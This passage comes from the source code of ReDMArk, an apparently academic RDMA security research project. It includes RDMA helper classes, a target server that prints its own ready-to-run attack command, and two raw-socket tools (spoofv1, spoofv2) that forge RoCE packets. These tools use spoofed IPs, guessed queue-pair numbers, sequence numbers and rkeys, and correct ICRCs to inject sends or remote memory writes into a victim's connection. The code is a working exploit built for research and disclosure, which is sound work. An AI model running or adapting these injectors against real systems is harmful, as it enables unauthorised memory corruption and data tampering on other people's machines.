attr.cap.max_recv_sge = 1; 93 | attr.cap.max_inline_data = 0; 94 | attr.qp_type = IBV_QPT_RC; 95 | 96 | memset(&conn_param, 0 , sizeof(conn_param)); 97 | conn_param.responder_resources = 0; 98 | conn_param.initiator_depth = 0; 99 | conn_param.retry_count = 3; 100 | conn_param.rnr_retry_count = 3; 101 | 102 | struct ibv_pd* pd = NULL; 103 | 104 | VerbsEP *ep = client->connectEP(&attr,&conn_param,pd); 105 | pd = ep->pd; 106 | 107 | print_data(ep); 108 | 109 | char* ptr = (char*)malloc(4096); 110 | 111 | 112 | struct ibv_mr * mr = ep->reg_mem(ptr,4096); 113 | 114 | print_data(ep); 115 | 116 | ep->send_signaled(1, (uint64_t)mr->addr, mr->lkey, 16); 117 | 118 | struct ibv_wc wc; 119 | while( ep->poll_send_completion(&wc) == 0){ 120 | 121 | } 122 | printf("A message is sent. Completion status is %d\n",wc.status); 123 | 124 | print_data(ep); 125 | 126 | 127 | while(true){ 128 | printf("Next print in 5 seconds\n"); 129 | std::this_thread::sleep_for(std::chrono::milliseconds(5000)); 130 | print_data(ep); 131 | printf("Next print in 55 seconds. and I will try to send \n"); 132 | std::this_thread::sleep_for(std::chrono::milliseconds(55000)); 133 | print_data(ep); 134 | 135 | ep->send_signaled(1, (uint64_t)mr->addr, mr->lkey, 16); 136 | 137 | struct ibv_wc wc; 138 | while( ep->poll_send_completion(&wc) == 0){ 139 | 140 | } 141 | printf("A message is sent. Completion status is %d\n",wc.status); 142 | } 143 | 144 | return 0; 145 | } 146 | 147 | 148 | 149 | 150 | -------------------------------------------------------------------------------- /inject_attack/connectRDMA.hpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * A set of helper functions for working with RDMA. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #pragma once 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include "verbsEP.hpp" 22 | 23 | 24 | 25 | struct ibv_device *ctx_find_dev(const char *ib_devname) { 26 | int num_of_device; 27 | struct ibv_device **dev_list; 28 | struct ibv_device *ib_dev = NULL; 29 | 30 | dev_list = ibv_get_device_list(&num_of_device); 31 | 32 | if (num_of_device <= 0) { 33 | fprintf(stderr, " Did not detect devices \n"); 34 | fprintf(stderr, " If device exists, check if driver is up\n"); 35 | return NULL; 36 | } 37 | 38 | if (!ib_devname) { 39 | ib_dev = dev_list[0]; 40 | if (!ib_dev) { 41 | fprintf(stderr, "No IB devices found\n"); 42 | exit(1); 43 | } 44 | } else { 45 | for (; (ib_dev = *dev_list); ++dev_list) 46 | if (!strcmp(ibv_get_device_name(ib_dev), ib_devname)) break; 47 | if (!ib_dev) fprintf(stderr, "IB device %s not found\n", ib_devname); 48 | } 49 | return ib_dev; 50 | } 51 | 52 | 53 | class ServerRDMA{ 54 | 55 | struct rdma_event_channel *cm_channel; 56 | struct rdma_cm_id *listen_id = NULL; 57 | //struct ibv_context *ctx; 58 | 59 | public: 60 | ServerRDMA(char* ip, int port){ 61 | int ret; 62 | struct rdma_addrinfo hints; 63 | struct rdma_addrinfo *addrinfo; 64 | 65 | 66 | memset(&hints, 0, sizeof hints); 67 | hints.ai_flags = RAI_PASSIVE; 68 | hints.ai_port_space = RDMA_PS_TCP; 69 | 70 | char strport[80]; 71 | sprintf(strport, "%d", port); 72 | 73 | ret = rdma_getaddrinfo(ip, strport, &hints, &addrinfo); 74 | if (ret) { 75 | perror("rdma_getaddrinfo\n"); 76 | exit(1); 77 | } 78 | 79 | ret = rdma_create_ep(&listen_id, addrinfo, NULL, NULL); 80 | if (ret) { 81 | perror("rdma_create_ep\n"); 82 | exit(1); 83 | } 84 | 85 | rdma_freeaddrinfo(addrinfo); 86 | 87 | ret = rdma_listen(listen_id, 2); 88 | if (ret) { 89 | perror("rdma_listen"); 90 | exit(1); 91 | } 92 | 93 | } 94 | 95 | int get_listen_fd() 96 | { 97 | 98 | assert(this->listen_id->channel!=NULL); 99 | int options = fcntl(this->listen_id->channel->fd, F_GETFL, 0); 100 | 101 | if (fcntl(this->listen_id->channel->fd, F_SETFL, options | O_NONBLOCK)) { 102 | perror("[RDMA_COM] cannot set server_client to non-blocking mode"); 103 | exit(1); 104 | return 0; 105 | } 106 | 107 | return this->listen_id->channel->fd; 108 | } 109 | 110 | struct ibv_pd * create_pd(){ 111 | return ibv_alloc_pd(listen_id->verbs); 112 | } 113 | 114 | 115 | struct ibv_srq* create_srq(struct ibv_pd * pd, uint32_t max_wr, uint32_t max_sge=1){ 116 | 117 | struct ibv_srq_init_attr attr; 118 | memset(&attr, 0, sizeof attr); 119 | attr.attr.max_wr = max_wr; 120 | attr.attr.max_sge = max_sge; 121 | 122 | 123 | return ibv_create_srq(pd, &attr); 124 | } 125 | 126 | struct ibv_cq *create_cq(uint32_t max_wr, struct ibv_comp_channel *channel = NULL){ 127 | return ibv_create_cq(listen_id->verbs, max_wr, NULL,channel, 0); 128 | } 129 | 130 | 131 | VerbsEP* acceptEP(struct ibv_qp_init_attr *attr, struct rdma_conn_param *conn_param, struct ibv_pd* pd = NULL){ 132 | int ret; 133 | struct rdma_cm_id *id; 134 | attr->qp_type = IBV_QPT_RC; 135 | struct rdma_cm_event *event; 136 | struct rdma_event_channel * cm_channel = listen_id->channel; 137 | 138 | ret = rdma_get_cm_event(cm_channel, &event); 139 | if(event->event != RDMA_CM_EVENT_CONNECT_REQUEST){ 140 | printf("is not RDMA_CM_EVENT_CONNECT_REQUEST\n"); 141 | } 142 | id = event->id; 143 | rdma_ack_cm_event(event); 144 | ret = rdma_create_qp(id, pd, attr); 145 | if (ret) { 146 | perror("rdma_create_qp"); 147 | return NULL; 148 | } 149 | ret = rdma_accept(id, conn_param); 150 | if (ret) { 151 | perror("rdma_accept"); 152 | return NULL; 153 | } 154 | 155 | 156 | return new VerbsEP(id, id->qp, attr->cap.max_inline_data, attr->cap.max_send_wr, attr->cap.max_recv_wr ); 157 | } 158 | 159 | }; 160 | 161 | 162 | 163 | class ClientRDMA{ 164 | 165 | struct rdma_addrinfo *addrinfo; 166 | //struct ibv_context *ctx; 167 | 168 | public: 169 | ClientRDMA(char* ip, int port){ 170 | int ret; 171 | struct rdma_addrinfo hints; 172 | 173 | /*struct ibv_device *ib_dev = NULL; 174 | ib_dev = ctx_find_dev(devname); 175 | ctx = ibv_open_device(ib_dev);*/ 176 | 177 | memset(&hints, 0, sizeof hints); 178 | hints.ai_port_space = RDMA_PS_TCP; 179 | 180 | char strport[80]; 181 | sprintf(strport, "%d", port); 182 | 183 | ret = rdma_getaddrinfo(ip, strport, &hints, &addrinfo); 184 | if (ret) { 185 | perror("rdma_getaddrinfo\n"); 186 | exit(1); 187 | } 188 | 189 | } 190 | 191 | ~ClientRDMA(){ 192 | rdma_freeaddrinfo(addrinfo); 193 | } 194 | 195 | 196 | VerbsEP* connectEP(struct ibv_qp_init_attr *attr, struct rdma_conn_param *conn_param, struct ibv_pd* pd = NULL){ 197 | int ret; 198 | struct rdma_cm_id *id; 199 | 200 | attr->qp_type = IBV_QPT_RC; 201 | 202 | ret = rdma_create_ep(&id, this->addrinfo, NULL, NULL); 203 | //ret = rdma_create_ep(&id, this->addrinfo, pd, attr); 204 | if (ret) { 205 | perror("rdma_create_ep"); 206 | return NULL; 207 | } 208 | 209 | 210 | ret = rdma_create_qp(id, pd, attr); 211 | if (ret) { 212 | perror("rdma_create_qp"); 213 | return NULL; 214 | } 215 | 216 | ret = rdma_connect(id, conn_param); 217 | if (ret) { 218 | perror("rdma_connect"); 219 | return NULL; 220 | } 221 | 222 | // printf("PD: %p %p %p\n", pd, id->pd, id->qp->pd); 223 | 224 | return new VerbsEP(id,id->qp, attr->cap.max_inline_data, attr->cap.max_send_wr, attr->cap.max_recv_wr ); 225 | } 226 | 227 | }; 228 | -------------------------------------------------------------------------------- /inject_attack/server.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * Launch a server that will receive packets from the attacker. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #include "verbsEP.hpp" 12 | #include "connectRDMA.hpp" 13 | #include "cxxopts.hpp" 14 | #include 15 | #include 16 | #include 17 | 18 | std::vector connections; 19 | 20 | cxxopts::ParseResult 21 | parse(int argc, char* argv[]) 22 | { 23 | cxxopts::Options options(argv[0], "Server for the QP test. It accepts connections and is the injection target."); 24 | options 25 | .positional_help("[optional args]") 26 | .show_positional_help(); 27 | 28 | try 29 | { 30 | 31 | options.add_options() 32 | ("a,address", "IP address", cxxopts::value(), "IP") 33 | ("help", "Print help") 34 | ; 35 | 36 | auto result = options.parse(argc, argv); 37 | 38 | if (result.count("help")) 39 | { 40 | std::cout << options.help({""}) << std::endl; 41 | exit(0); 42 | } 43 | 44 | if (result.count("address") == 0) 45 | { 46 | std::cout << options.help({""}) << std::endl; 47 | exit(0); 48 | } 49 | 50 | return result; 51 | 52 | } catch (const cxxopts::OptionException& e) 53 | { 54 | std::cout << "error parsing options: " << e.what() << std::endl; 55 | std::cout << options.help({""}) << std::endl; 56 | exit(1); 57 | } 58 | } 59 | 60 | 61 | char * myip = NULL; 62 | 63 | void print_data(VerbsEP *ep,struct ibv_mr *mr){ 64 | 65 | struct ibv_qp_attr attr; 66 | struct ibv_qp_init_attr init_attr; 67 | int ret = ibv_query_qp(ep->qp, &attr, IBV_QP_STATE| IBV_QP_RQ_PSN | IBV_QP_SQ_PSN, &init_attr ); 68 | if(ret == 0){ 69 | if(attr.qp_state != 3){ 70 | printf("Connection has been broken\n"); 71 | return; 72 | } 73 | struct sockaddr * addr = rdma_get_peer_addr (ep->id); 74 | in_addr ippp = ((sockaddr_in*)addr)->sin_addr; 75 | printf("run to hack me: sudo ./spoofv2 16 1 %s %s %u %u %lu %u\n", inet_ntoa(ippp), myip,ep->qp->qp_num, attr.rq_psn, (uint64_t)((char*)mr->addr+1024),mr->rkey); 76 | } 77 | } 78 | 79 | 80 | 81 | int main(int argc, char* argv[]){ 82 | auto allparams = parse(argc,argv); 83 | 84 | std::string ip = allparams["address"].as(); // "192.168.1.20"; .c_str() 85 | myip = (char*)ip.c_str(); 86 | 87 | int port = 9999; 88 | 89 | ServerRDMA * server = new ServerRDMA(const_cast(ip.c_str()),port); 90 | struct ibv_qp_init_attr attr; 91 | struct rdma_conn_param conn_param; 92 | 93 | 94 | memset(&attr, 0, sizeof(attr)); 95 | attr.cap.max_send_wr = 1; 96 | attr.cap.max_recv_wr = 16; 97 | attr.cap.max_send_sge = 1; 98 | attr.cap.max_recv_sge = 1; 99 | attr.cap.max_inline_data = 0; 100 | attr.qp_type = IBV_QPT_RC; 101 | 102 | memset(&conn_param, 0 , sizeof(conn_param)); 103 | conn_param.responder_resources = 0; 104 | conn_param.initiator_depth = 0; 105 | conn_param.retry_count = 3; // TODO 106 | conn_param.rnr_retry_count = 3; // TODO 107 | 108 | struct ibv_pd *pd = server->create_pd(); 109 | 110 | connections.push_back(server->acceptEP(&attr,&conn_param,pd)); 111 | 112 | VerbsEP* ep = connections[0]; 113 | 114 | char* ptr = (char*)malloc(4096); 115 | memset(ptr,0,4096); 116 | *(ptr+1024) = 1; 117 | struct ibv_mr * mr = ep->reg_mem(ptr,4096); 118 | 119 | printf("Mem: %lu rkey %u\n",(uint64_t)(ptr+1024),mr->rkey); 120 | 121 | for(uint32_t i = 0; i<16; i++){ 122 | ep->post_recv(i, mr); 123 | } 124 | 125 | print_data(ep,mr); 126 | 127 | 128 | struct ibv_wc wc; 129 | while(true){ 130 | int ret = ep->poll_recv_completion(&wc); 131 | if(ret!=0){ 132 | printf("Received message. status: %d. opcode: %d\n",wc.status,wc.opcode); 133 | } 134 | if(*(ptr+1024)==0){ 135 | printf("memory is corrupted\n"); 136 | } 137 | std::this_thread::sleep_for(std::chrono::milliseconds(5000)); 138 | print_data(ep,mr); 139 | 140 | } 141 | 142 | 143 | return 0; 144 | } 145 | 146 | -------------------------------------------------------------------------------- /inject_attack/spoofv1.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * Code for injecting rocev1 packets. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include // struct ifreq 23 | #include // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD 24 | #include // struct sockaddr_ll (see man 7 packet) 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #define BTH_MIG_MASK (0x40) 31 | 32 | #define PCKT_LEN 8192 33 | 34 | 35 | #define ETHER_TYPE (0x8915) 36 | 37 | 38 | #define MLX4_ROCEV2_QP1_SPORT 0xC000 39 | 40 | #define htonll(x) ((((uint64_t)htonl(x)) << 32) + htonl((x) >> 32)) 41 | 42 | /* 43 | 96 bit (12 bytes) pseudo header needed for UDP header checksum calculation 44 | */ 45 | struct pseudo_header 46 | { 47 | u_int32_t saddr; 48 | u_int32_t daddr; 49 | u_int8_t zeros; 50 | u_int8_t protocol; 51 | u_int16_t tot_len; 52 | }; 53 | 54 | #define BTH_DEF_PKEY (0xffff) 55 | #define BTH_PSN_MASK (0x00ffffff) 56 | #define BTH_QPN_MASK (0x00ffffff) 57 | #define BTH_ACK_MASK (0x80000000) 58 | 59 | //40 BYTES 60 | struct rxe_grh { 61 | u_int32_t ipver_tclass_flow; 62 | u_int16_t paylen; 63 | u_int8_t nxthdr; 64 | u_int8_t hoplmt; 65 | u_int32_t sgid[4]; 66 | u_int32_t dgid[4]; 67 | }; 68 | 69 | static_assert(sizeof(rxe_grh) == 40, "wronng size"); 70 | 71 | //12 BYTES 72 | struct rxe_bth { 73 | u_int8_t opcode; 74 | u_int8_t flags; 75 | u_int16_t pkey; 76 | u_int32_t qpn; 77 | u_int32_t apsn; 78 | }; 79 | 80 | struct rxe_reth { 81 | __be64 va; 82 | __be32 rkey; 83 | __be32 len; 84 | }; 85 | 86 | struct rxe_immdt { 87 | __be32 imm; 88 | }; 89 | 90 | 91 | /* Compute a partial ICRC for all the IB transport headers. */ 92 | uint32_t rxe_icrc_hdr(uint8_t *packet, uint16_t total_paket_size) 93 | { 94 | 95 | uint32_t crc = 0; 96 | struct rxe_grh* rgh; 97 | struct rxe_bth* bth; 98 | uint8_t tmp[total_paket_size+8]; 99 | 100 | /* This seed is the result of computing a CRC with a seed of 101 | * 0xfffffff and 8 bytes of 0xff representing a masked LRH. */ 102 | memcpy(tmp+8, packet, total_paket_size); 103 | // it is extra lrh 104 | memset(tmp,0xff,8); 105 | 106 | rgh = (struct rxe_grh *) (tmp+8); 107 | rgh->ipver_tclass_flow |= htonl(0xfffffff); 108 | rgh->hoplmt |= 0xff; 109 | bth = (struct rxe_bth *) (rgh+1); 110 | 111 | /* exclude bth.resv8a */ 112 | bth->qpn |= htonl(~BTH_QPN_MASK); 113 | return crc32(crc, tmp, total_paket_size + 8); 114 | } 115 | 116 | 117 | 118 | char *if_name = "enp1s0"; // the name of the interface to use for injection 119 | uint8_t if_addr[ETH_ALEN] = { 0x00, 0x02, 0xc9, 0x32, 0x07, 0xa0 }; // ethernet address of the source 120 | uint8_t dest_addr[ETH_ALEN] = { 0x00, 0x02, 0xc9, 0x34, 0xb2, 0x80 }; // ethernet address of the destination 121 | 122 | int main(int argc, char** argv){ 123 | 124 | printf("Usage: sudo ./spoofv1 \n"); 125 | printf("\t By default it sends IB Send, unless are specified\n"); 126 | printf("\t Note that ethrenet addresses are hard-coded and need to be modified!\n"); 127 | uint32_t payloadsize = atoi (argv[1]); 128 | uint32_t num_messages = atoi (argv[2]); 129 | 130 | uint8_t padcount = (0b100 - (payloadsize & 0b11)) & 0b11; // payload must be multiple of 4. 131 | // other equations for padcount 132 | //uint8_t padcount = ((payloadsize + 0x3) & 0b11) - (payloadsize & 0b11); // payload must be multiple of 4. 133 | //uint8_t padcount = (-((int32_t)payload)) & 0x3; 134 | payloadsize+=padcount; 135 | 136 | unsigned char buffer[PCKT_LEN]; 137 | memset(buffer, 0, PCKT_LEN); 138 | 139 | 140 | struct ether_header *eth = (struct ether_header *) buffer; 141 | memcpy (eth->ether_shost, if_addr, ETH_ALEN); 142 | memcpy (eth->ether_dhost, dest_addr, ETH_ALEN); 143 | eth->ether_type = htons (ETHER_TYPE); 144 | 145 | 146 | struct rxe_grh *grh = (struct rxe_grh *) (eth + 1 ); 147 | struct rxe_bth *bth = (struct rxe_bth *) (grh + 1); 148 | struct rxe_reth *reth = (struct rxe_reth *) ( bth + 1 ); 149 | uint32_t *icrc = (uint32_t *) ( ((char*)bth) + sizeof(struct rxe_bth) + payloadsize ); 150 | uint8_t *payload = (uint8_t *)( bth + 1 ); 151 | uint16_t total_paket_size = sizeof(struct rxe_grh) + sizeof(struct rxe_bth) + payloadsize + sizeof(*icrc) ; 152 | 153 | uint8_t opcode = 4; // 4 - IBV_OPCODE_SEND_ONLY 154 | uint32_t qpn = 1; 155 | uint32_t psn = 2; 156 | 157 | if(argc > 6){ 158 | qpn = atoi (argv[5]); 159 | psn = atoi (argv[6]); 160 | } else{ 161 | return 0; 162 | } 163 | 164 | uint16_t paylen = payloadsize + sizeof(struct rxe_bth) + sizeof(uint32_t); 165 | if(argc > 8){ // then rdma write 166 | total_paket_size+= sizeof(struct rxe_reth); 167 | icrc=icrc+4; 168 | uint64_t va = atol(argv[7]); 169 | uint32_t rkey = atoi(argv[8]); 170 | reth->va = htonll(va); 171 | reth->rkey = htonl(rkey); 172 | reth->len = htonl(payloadsize-padcount); 173 | paylen += sizeof(struct rxe_reth); 174 | payload += sizeof(struct rxe_reth); 175 | opcode = 0x0a; // - IBV_OPCODE_RDMA_WRITE_ONLY 176 | printf("RDMA WRITE to QPN=%u with PSN=%u\n",qpn,psn); 177 | printf("VA=%lu, rkey=%u\n", va, rkey); 178 | }else{ 179 | printf("RDMA SEND to QPN=%u with PSN=%u\n",qpn,psn); 180 | 181 | } 182 | 183 | grh->ipver_tclass_flow = (6 << 4); 184 | // grh->tclass = 0; 185 | // grh->flow = 0; 186 | 187 | 188 | grh->paylen = ntohs(paylen); 189 | grh->nxthdr = 27; 190 | grh->hoplmt = 64; 191 | 192 | grh->sgid[2] = ntohl(0xffff); 193 | grh->sgid[3] = inet_addr(argv[3]); 194 | grh->dgid[2] = ntohl(0xffff); 195 | grh->dgid[3] = inet_addr(argv[4]); 196 | 197 | 198 | //https://github.com/SoftRoCE/rxe-dev/blob/master/drivers/infiniband/hw/rxe/rxe_hdr.h 199 | bth->opcode = opcode; //8bit 200 | bth->flags = 0b00000000; // padding is here 201 | bth->flags |= padcount << 4 ; // it adds padcount (i.e. how many bytes crop from payload at destination)! 202 | 203 | bth->pkey = htons(BTH_DEF_PKEY); 204 | bth->qpn = htonl(qpn); 205 | 206 | 207 | int raw_sock = socket(AF_PACKET, SOCK_RAW, htons (ETHER_TYPE)); 208 | 209 | uint32_t tosend = total_paket_size + sizeof(struct ether_header) ; 210 | 211 | struct sockaddr_ll sock_addr; 212 | struct ifreq ifr; 213 | 214 | memset (&ifr, 0, sizeof (ifr)); 215 | strncpy (ifr.ifr_name, if_name, IFNAMSIZ - 1); 216 | 217 | if (ioctl (raw_sock, SIOCGIFINDEX, &ifr) < 0){ 218 | perror ("SIOCGIFINDEX"); 219 | } 220 | 221 | int if_index = ifr.ifr_ifindex; 222 | sock_addr.sll_ifindex = if_index; 223 | sock_addr.sll_halen = ETH_ALEN; 224 | memcpy (sock_addr.sll_addr, dest_addr, ETH_ALEN); 225 | 226 | auto start = std::chrono::steady_clock::now(); 227 | for(uint32_t i =0; i < num_messages; i++){ 228 | bth->apsn = htonl(BTH_PSN_MASK & psn); 229 | // bth->apsn |= htonl(BTH_ACK_MASK); 230 | *icrc = (rxe_icrc_hdr((uint8_t*)grh,total_paket_size - sizeof(*icrc))); 231 | int ret = sendto(raw_sock, buffer, tosend , 0, (struct sockaddr *)&sock_addr, sizeof(sock_addr)) ; 232 | psn++; 233 | } 234 | auto end = std::chrono::steady_clock::now(); 235 | printf("Time in micro %lu \n",std::chrono::duration_cast(end - start).count()); 236 | 237 | return 0; 238 | } 239 | -------------------------------------------------------------------------------- /inject_attack/spoofv2.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * Code for injecting rocev2 packets. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | #include 25 | 26 | #define PCKT_LEN 8192 27 | #define ROCEPORT (4791) 28 | 29 | #define MLX4_ROCEV2_QP1_SPORT 0xC000 30 | 31 | #define htonll(x) ((((uint64_t)htonl(x)) << 32) + htonl((x) >> 32)) 32 | 33 | 34 | #define BTH_DEF_PKEY (0xffff) 35 | #define BTH_PSN_MASK (0x00ffffff) 36 | #define BTH_QPN_MASK (0x00ffffff) 37 | #define BTH_ACK_MASK (0x80000000) 38 | 39 | struct rxe_bth { 40 | u_int8_t opcode; 41 | u_int8_t flags; 42 | u_int16_t pkey; 43 | u_int32_t qpn; 44 | u_int32_t apsn; 45 | }; 46 | 47 | struct rxe_reth { 48 | __be64 va; 49 | __be32 rkey; 50 | __be32 len; 51 | }; 52 | 53 | struct rxe_immdt { 54 | __be32 imm; 55 | }; 56 | 57 | 58 | const int pseudo_header_length = sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof(rxe_bth); 59 | uint8_t pseudo_header[pseudo_header_length]; 60 | struct rxe_bth *pseudo_bth = NULL; 61 | 62 | 63 | void set_pseudo_header(unsigned char *packet){ 64 | struct iphdr *ip4h = NULL; 65 | struct udphdr *udph; 66 | 67 | memcpy(pseudo_header, packet, pseudo_header_length); 68 | ip4h = (struct iphdr *)pseudo_header; 69 | udph = (struct udphdr *)(ip4h + 1); 70 | 71 | ip4h->ttl = 0xff; 72 | ip4h->check = htons(0xffff); 73 | ip4h->tos = 0xff; 74 | 75 | udph->check = htons(0xffff); 76 | 77 | pseudo_bth = (struct rxe_bth *)(udph + 1); 78 | 79 | /* exclude bth.resv8a */ 80 | pseudo_bth->qpn |= htonl(~BTH_QPN_MASK); 81 | } 82 | 83 | 84 | 85 | /* Compute a partial ICRC for all the IB transport headers. */ 86 | inline uint32_t rxe_icrc_hdr(unsigned char *packet, uint16_t total_paket_size) 87 | { 88 | /* This seed is the result of computing a CRC with a seed of 89 | * 0xfffffff and 8 bytes of 0xff representing a masked LRH. */ 90 | uint32_t crc = (0xdebb20e3)^ 0xffffffff; 91 | crc = crc32(crc, pseudo_header, pseudo_header_length); //crc32_le 92 | /* And finish to compute the CRC on the remainder of the headers and payload */ 93 | crc = crc32(crc, packet + pseudo_header_length, total_paket_size - pseudo_header_length); 94 | return crc; 95 | } 96 | 97 | 98 | 99 | inline uint16_t ip_checksum(struct iphdr *p_ip_header, size_t len) 100 | { 101 | register int sum = 0; 102 | uint16_t *ptr = (unsigned short*)p_ip_header; 103 | 104 | while (len > 1){ 105 | sum += *ptr++; 106 | len -= 2; 107 | } 108 | 109 | sum = (sum >> 16) + (sum & 0xFFFF); 110 | sum += (sum >> 16); 111 | 112 | return ~sum; 113 | } 114 | 115 | int main(int argc, char** argv){ 116 | 117 | printf("Usage: sudo ./spoofv2 \n"); 118 | printf("\t By default it sends IB Send, unless are specified\n"); 119 | uint32_t payloadsize = atoi (argv[1]); 120 | uint32_t num_messages = atoi (argv[2]); 121 | 122 | uint8_t padcount = (0b100 - (payloadsize & 0b11)) & 0b11; // payload must be multiple of 4. 123 | // other equations for padcount 124 | //uint8_t padcount = ((payloadsize + 0x3) & 0b11) - (payloadsize & 0b11); // payload must be multiple of 4. 125 | //uint8_t padcount = (-((int32_t)payload)) & 0x3; 126 | payloadsize+=padcount; 127 | 128 | 129 | unsigned char buffer[PCKT_LEN]; 130 | memset(buffer, 0, PCKT_LEN); 131 | struct iphdr *ip = (struct iphdr *) buffer; 132 | struct udphdr *udp = (struct udphdr *) (ip + 1); 133 | struct rxe_bth *bth = (struct rxe_bth *) (udp + 1); 134 | struct rxe_reth *reth = (struct rxe_reth *) ( ((char*)bth) + sizeof(struct rxe_bth) ); 135 | uint32_t *icrc = (uint32_t *) ( ((char*)bth) + sizeof(struct rxe_bth) + payloadsize ); 136 | 137 | uint16_t total_paket_size = sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(struct rxe_bth) + payloadsize + sizeof(*icrc) ; 138 | 139 | uint8_t opcode = 4; // 4 - IBV_OPCODE_SEND_ONLY 140 | uint32_t qpn = 1; 141 | uint32_t psn = 2; 142 | 143 | if(argc > 6){ 144 | qpn = atoi (argv[5]); 145 | psn = atoi (argv[6]); 146 | } else{ 147 | return 0; 148 | } 149 | 150 | if(argc > 8){ // then rdma write 151 | total_paket_size+= sizeof(struct rxe_reth); 152 | icrc=icrc+4; 153 | uint64_t va = atol(argv[7]); 154 | uint32_t rkey = atoi(argv[8]); 155 | reth->va = htonll(va); 156 | reth->rkey = htonl(rkey); 157 | reth->len = htonl(payloadsize-padcount); 158 | opcode = 0x0a; // - IBV_OPCODE_RDMA_WRITE_ONLY 159 | printf("[%u bytes] RDMA WRITE to QPN=%u with PSN=%u\n",payloadsize-padcount,qpn,psn); 160 | printf("VA=%lu, rkey=%u\n", va, rkey); 161 | }else{ 162 | printf("[%u bytes] RDMA SEND to QPN=%u with PSN=%u\n",payloadsize-padcount,qpn,psn); 163 | } 164 | 165 | 166 | ip->ihl = 5; 167 | ip->version = 4; 168 | ip->tos = 0; // low delay 169 | ip->tot_len = htons(total_paket_size); 170 | ip->id = htons (21504); //Id of this packet 171 | ip->frag_off = htons(0x4000); 172 | ip->ttl = 64; // hops 173 | ip->protocol = 17; // UDP 174 | // source IP address, can use spoofed address here 175 | ip->check = 0; // fill later or ignored 176 | ip->saddr = inet_addr(argv[3]); 177 | ip->daddr = inet_addr(argv[4]); 178 | 179 | 180 | udp->source = htons(MLX4_ROCEV2_QP1_SPORT); 181 | // destination port number 182 | udp->dest = htons(ROCEPORT); 183 | udp->len = htons(total_paket_size - sizeof(struct iphdr)); 184 | udp->check = 0;// fill later or ignored 185 | 186 | 187 | //https://github.com/SoftRoCE/rxe-dev/blob/master/drivers/infiniband/hw/rxe/rxe_hdr.h 188 | bth->opcode = opcode; //8bit 189 | bth->flags = 0b00000000; // padding is here 190 | bth->flags |= padcount << 4 ; // it adds padcount (i.e. how many bytes crop from payload at destination)! 191 | 192 | bth->pkey = htons(BTH_DEF_PKEY); 193 | bth->qpn = htonl(qpn); 194 | 195 | set_pseudo_header(buffer); 196 | 197 | int raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 198 | 199 | struct sockaddr_in dst_addr; 200 | dst_addr.sin_family = AF_INET; 201 | dst_addr.sin_port = htons(ROCEPORT); 202 | dst_addr.sin_addr.s_addr = ip->daddr; 203 | 204 | auto start = std::chrono::steady_clock::now(); 205 | for(uint32_t i =0; i < num_messages; i++){ 206 | bth->apsn = htonl(BTH_PSN_MASK & psn); 207 | // bth->apsn |= htonl(BTH_ACK_MASK); 208 | pseudo_bth->apsn = bth->apsn; 209 | *icrc = (rxe_icrc_hdr(buffer,total_paket_size - sizeof(*icrc))); 210 | int ret = sendto(raw_sock, buffer, total_paket_size, 0, (struct sockaddr *)&dst_addr, sizeof(dst_addr)) ; 211 | psn+=1; 212 | } 213 | auto end = std::chrono::steady_clock::now(); 214 | printf("Time in micro %lu \n",std::chrono::duration_cast(end - start).count()); 215 | 216 | return 0; 217 | } 218 | -------------------------------------------------------------------------------- /inject_attack/verbsEP.hpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * A set of helper functions for working with RDMA. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #pragma once 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | 21 | class VerbsEP{ 22 | 23 | public: 24 | struct rdma_cm_id* const id; 25 | struct ibv_qp * const qp; 26 | struct ibv_pd * const pd; 27 | const uint32_t max_inline_data; 28 | 29 | const uint32_t max_send_size; 30 | const uint32_t max_recv_size; 31 | 32 | VerbsEP(struct rdma_cm_id* id, struct ibv_qp *qp, uint32_t max_inline_data,uint32_t max_send_size,uint32_t max_recv_size): 33 | id(id),qp(qp), pd(qp->pd), max_inline_data(0),max_send_size(max_send_size),max_recv_size(max_recv_size) 34 | { 35 | // empty 36 | } 37 | 38 | ~VerbsEP(){ 39 | // empty 40 | } 41 | 42 | uint32_t get_qp_num() const{ 43 | return qp->qp_num; 44 | } 45 | 46 | struct ibv_mr * reg_mem(void *buf, uint32_t size){ 47 | return ibv_reg_mr(this->pd, buf, size, IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_READ); 48 | } 49 | 50 | struct ibv_mr * reg_mem_with_atomic(void *buf, uint32_t size){ 51 | return ibv_reg_mr(this->pd, buf, size, IBV_ACCESS_REMOTE_WRITE | 